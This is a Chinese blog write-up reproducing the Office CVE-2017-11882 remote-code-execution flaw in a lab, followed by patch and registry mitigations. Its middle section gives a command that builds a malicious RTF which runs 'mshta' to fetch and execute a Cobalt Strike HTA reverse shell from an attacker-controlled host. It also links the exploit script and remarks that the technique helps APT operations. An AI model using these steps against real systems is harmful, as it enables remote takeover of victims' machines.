CVE-2017-11882漏洞复现

0x00 前言

参考backlion师傅的PDF,记录一下这个过程。

2017年11月14日,微软发布了11月份的安全补丁更新,其中比较引人关注的莫过于悄然修复了潜伏17年之久的Office远程代码执行漏洞(CVE-2017-11882)。该漏洞为Office内存破坏漏洞,影响目前流行的所有Office版本。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。

由于漏洞影响面较广,漏洞披露后,金睛安全研究团队持续对漏洞相关攻击事件进行关注。11月19日,监控到了已有漏洞POC在网上流传,随即迅速对相关样本进行了分析。目前该样本全球仅微软杀毒可以检测。

  • 漏洞影响版本:
  • Office 365
  • Microsoft Office 2000
  • Microsoft Office 2003
  • Microsoft Office 2007 Service Pack 3
  • Microsoft Office 2010 Service Pack 2
  • Microsoft Office 2013 Service Pack 1
  • Microsoft Office 2016

0x01 环境清单

  • WindowsServer 2008 (192.168.3.114)
  • Office 2007
  • MAC OSX(192.168.3.106)

0X02 复现过程

使用Cobalt Strike生成hta反弹shell

将生成的hta文档放入WebServer根目录:http://192.168.3.106/evil.hta

python webdav_exec_CVE-2017-11882.py -u http://192.168.3.106/evil.hta -e "mshta http://192.168.3.106/evil.hta" -o test.rtf
!!! Completed !!!

我(Cobalt Strike)本地监听了一个8081端口,用来接收客户端的Shell

要生成一个rtf/doc文档,github上已有生成脚本

webdav_exec_CVE-2017-11882.py -> http://payloads.online/tools/cve-2017-11882/webdav_exec_CVE-2017-11882.py

生成rtf文档:

最后将test.rtf在目标机器上执行 =_=||,其实可以实战的,对于APT的帮助很大

结果

目标机器上执行后,我们可以在Cobalt Strike看到来自客户端的会话

0x03 修复建议

1、微软已经对此漏洞做出了修复。

  • 下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 更新补丁进行修补
  • 开启Windows Update功能,定期对系统进行自动更新

2、由于该公式编辑器已经17年未做更新,可能存在大量安全漏洞,建议在注册表中取消该模块的注册。

  • 按下Win R组合键,打开cmd.exe
  • 输入以下两条命令:reg add “HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046} ” /v “Compatibility Flags” /t REG_DWORD /d 0x400

原文发布于微信公众号 - 网络安全社区悦信安(yuexin_an)

原文发表时间:2017-11-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏程序员与猫

ASP.NET Core 介绍和项目解读

标签: ASP.NETCore 1. 前言 作为一个.NET Web开发者,我最伤心的时候就是项目开发部署时面对Windows Server上贫瘠的解决方案...

26860
来自专栏walterlv - 吕毅的博客

使用 Microsoft.UI.Xaml 解决 UWP 控件和对老版本 Windows 10 的兼容性问题

发布于 2018-07-21 13:51 更新于 2018-07...

30110
来自专栏林德熙的博客

如何在 UWP 使用 wpf 的 Trigger 安装 Behaviors以前的代码UWP 使用 Trigger

本文需要告诉大家,如何使用 Behaviors 做出 WPF 的 Trigger ,需要知道 UWP 不支持 WPF 的 Trigger 。

7900
来自专栏张善友的专栏

WiX v3.0 RC 2

2009年4月18日发布的Wix RC2(v3.0.5217.0),就意味着Wix v3.0RTM将要到来。Visual Studio 2010将会配备WiX ...

196100
来自专栏安恒信息

微软2018年3月补丁更新的安全漏洞预警

1.漏洞公告 2018年3月13日,微软发布了本月安全更新补丁,其中包含一个CredSSP远程代码执行漏洞的补丁更新,对应CVE编号:CVE-2018-0886...

74780
来自专栏依乐祝

.NET Core实战项目之CMS 第二章 入门篇-快速入门ASP.NET Core看这篇就够了

很多朋友看到.NET Core就认为是ASP.NET Core,其实这是有误区的,因为.NET Core 是开放源代码的通用开发平台 (是一个“平台”),基于这...

15520
来自专栏FreeBuf

[紧急通告]Microsoft Word RTF文件解析错误代码执行0day漏洞

Microsoft Word在解析畸形的RTF格式数据时存在错误导致内存破坏,使得攻击者能够执行任意代码。当用户使用Microsoft Word受影响的版本打开...

225100
来自专栏walterlv - 吕毅的博客

MSBuild/Roslyn 和 NuGet 的 100 个坑

发布于 2018-07-04 13:29 更新于 2018-09...

21420
来自专栏张善友的专栏

Web 服务软件工厂

      Microsoft 的模式和做法 (p&p) 团队最近发布了一些新的软件工厂,包括 Web 服务软件工厂(有时也称为“服务工厂”),该软件工厂旨在帮...

19680
来自专栏逸鹏说道

OSX 上初步尝试 asp.net 5

根据微软的介绍,与我之前的一些总结,可以看到 ASP.NET 以及 .NET 平台会有下面几个变化: 代码使用 Apache 协议开源,并且托管于 Github...

28470

扫码关注云+社区

领取腾讯云代金券